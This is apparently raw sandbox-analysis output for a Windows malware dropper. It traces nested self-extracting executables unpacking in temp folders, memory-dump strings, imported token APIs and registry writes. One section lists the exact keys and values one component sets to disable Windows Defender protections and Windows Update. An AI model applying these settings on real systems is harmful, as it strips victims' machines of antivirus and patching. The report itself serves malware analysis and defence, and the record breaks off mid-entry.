"c:\users\%osuser%\appdata\local\temp\ixp001.tmp\ro8sa21.exe" "ro8sA21.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\do2bb55.exe" "ro8sA21.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\4hs096bx.exe" "DO2BB55.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\tk1xo34.exe" "DO2BB55.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\3qu90pt.exe" "TK1xO34.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\1fx89kt6.exe" "TK1xO34.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\2pm6119.exe" "1fX89KT6.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "1fX89KT6.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "1fX89KT6.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "1fX89KT6.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "4HS096BX.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config"3e:Tc9a,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe.Local\" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Cabinet.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\VERSION.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\SspiCli.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\WINSPOOL.DRV" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\MPR.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\MPR.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\UxTheme.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\WINMM.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\samcli.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\samcli.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\MSACM32.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to touch file "C:\Windows\system32\MSACM32.dll"3f:Td25,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\Cabinet.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\VERSION.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\SspiCli.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\MPR.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\UxTheme.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\WINMM.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\samcli.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\MSACM32.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\sfc.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\sfc_os.DLL" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\dwmapi.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VH4vX77.exe" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6tx9CA7.exe" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\FLTLIB.DLL" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\MSVCP140.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\ucrtbase.DLL" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll"40:T87a,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe.Local\" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe.Config" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\D14F3781A88172E83EE0797E6388A05C9A1CF8026CCAA0331C86AD8A72EC5775.EXE.LOCAL" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" trying to access non-existent file "C:\D14F3781A88172E83EE0797E6388A05C9A1CF8026CCAA0331C86AD8A72EC5775.EXE.CONFIG" "VH4vX77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VH4vX77.exe.Local\" "VH4vX77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "VH4vX77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VH4vX77.exe.Config" "VH4vX77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "VH4vX77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VH4VX77.EXE.LOCAL" "VH4vX77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VH4VX77.EXE.CONFIG" "ro8sA21.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\ro8sA21.exe.Local\" "ro8sA21.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "ro8sA21.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\ro8sA21.exe.Config" "ro8sA21.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"41:T6ee,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "FindNextFileW" with parameter 6tx9CA7.exe (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "FindNextFileW" with parameter VH4vX77.exe (UID: 00000000-00005704) "VH4vX77.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00005648) "VH4vX77.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005648) "VH4vX77.exe" called "FindNextFileW" with parameter 5Pa4Mj0.exe (UID: 00000000-00005648) "VH4vX77.exe" called "FindNextFileW" with parameter ro8sA21.exe (UID: 00000000-00005648) "ro8sA21.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00005636) "ro8sA21.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005636) "ro8sA21.exe" called "FindNextFileW" with parameter 4HS096BX.exe (UID: 00000000-00005636) "ro8sA21.exe" called "FindNextFileW" with parameter DO2BB55.exe (UID: 00000000-00005636) "DO2BB55.exe" called "FindFirstFileW" with parameter %TEMP%\IXP003.TMP\*.* (UID: 00000000-00005660) "DO2BB55.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005660) "DO2BB55.exe" called "FindNextFileW" with parameter 3qu90Pt.exe (UID: 00000000-00005660) "DO2BB55.exe" called "FindNextFileW" with parameter TK1xO34.exe (UID: 00000000-00005660) "DO2BB55.exe" called "FindFirstFileA" with parameter %TEMP%\IXP003.TMP\* (UID: 00000000-00005660)42:T4a2,Found string "9aESYr0" (Indicator: "aes"; File: "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775") Found string "FromBase64" (Indicator: "base64"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "FromBase64String" (Indicator: "base64"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "base64str" (Indicator: "base64"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00000000-00005984.00000002.80134.011A2000.00000020.mdmp")43:Ta5b,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP001.TMP\ro8sA21.exe" (Indicator: "\Device\"; Source: "00000000-00005636.00000000.75157.00280000.00000004.mdmp, 00000000-00005636.00000001.77080.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\VH4vX77.exe" (Indicator: "\Device\"; Source: "00000000-00005648.00000000.75114.002A0000.00000004.mdmp")44:T10cf,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: VH4vX77.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: VH4vX77.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: VH4vX77.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: VH4vX77.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: VH4vX77.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: ro8sA21.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: ro8sA21.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ro8sA21.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: ro8sA21.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: ro8sA21.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: DO2BB55.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: DO2BB55.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: DO2BB55.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: DO2BB55.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: DO2BB55.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: TK1xO34.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: TK1xO34.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: TK1xO34.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: TK1xO34.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: TK1xO34.exe] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5Pa4Mj0.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: 5Pa4Mj0.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5Pa4Mj0.exe]45:T9ba,"4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")46:Td71,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "VH4vX77.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "ro8sA21.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "DO2BB55.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "TK1xO34.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER\FEATURES"; Key: "TAMPERPROTECTION"; Value: "0000000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "DISABLEANTISPYWARE"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEBEHAVIORMONITORING"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEIOAVPROTECTION"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEONACCESSPROTECTION"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEREALTIMEMONITORING"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLESCANONREALTIMEENABLE"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER SECURITY CENTER\NOTIFICATIONS"; Key: "DISABLENOTIFICATIONS"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\WINDOWSUPDATE\AU"; Key: "AUOPTIONS"; Value: "0200000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\WINDOWSUPDATE\AU"; Key: "AUTOINSTALLMINORUPDATES"; Value: "0000000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\WINDOWSUPDATE\AU"; Key: "NOAUTOUPDATE"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\WINDOWSUPDATE\AU"; Key: "NOAUTOREBOOTWITHLOGGEDONUSERS"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\WINDOWSUPDATE\AU"; Key: "USEWUSERVER"; Value: "0100000000") "1fX89KT6.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\WINDOWSUPDATE"; Key: "DONOTCONNECTTOWINDOWSUPDATEINTERNETLOCATIONS"; Value: "0100000000")47:T68f,"VH4vX77.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\VH4vX77.exe]- [targetUID: 00000000-00005648] "ro8sA21.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\ro8sA21.exe]- [targetUID: 00000000-00005636] "DO2BB55.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\DO2BB55.exe]- [targetUID: 00000000-00005636] "TK1xO34.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\TK1xO34.exe]- [targetUID: 00000000-00005932] "4HS096BX.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: 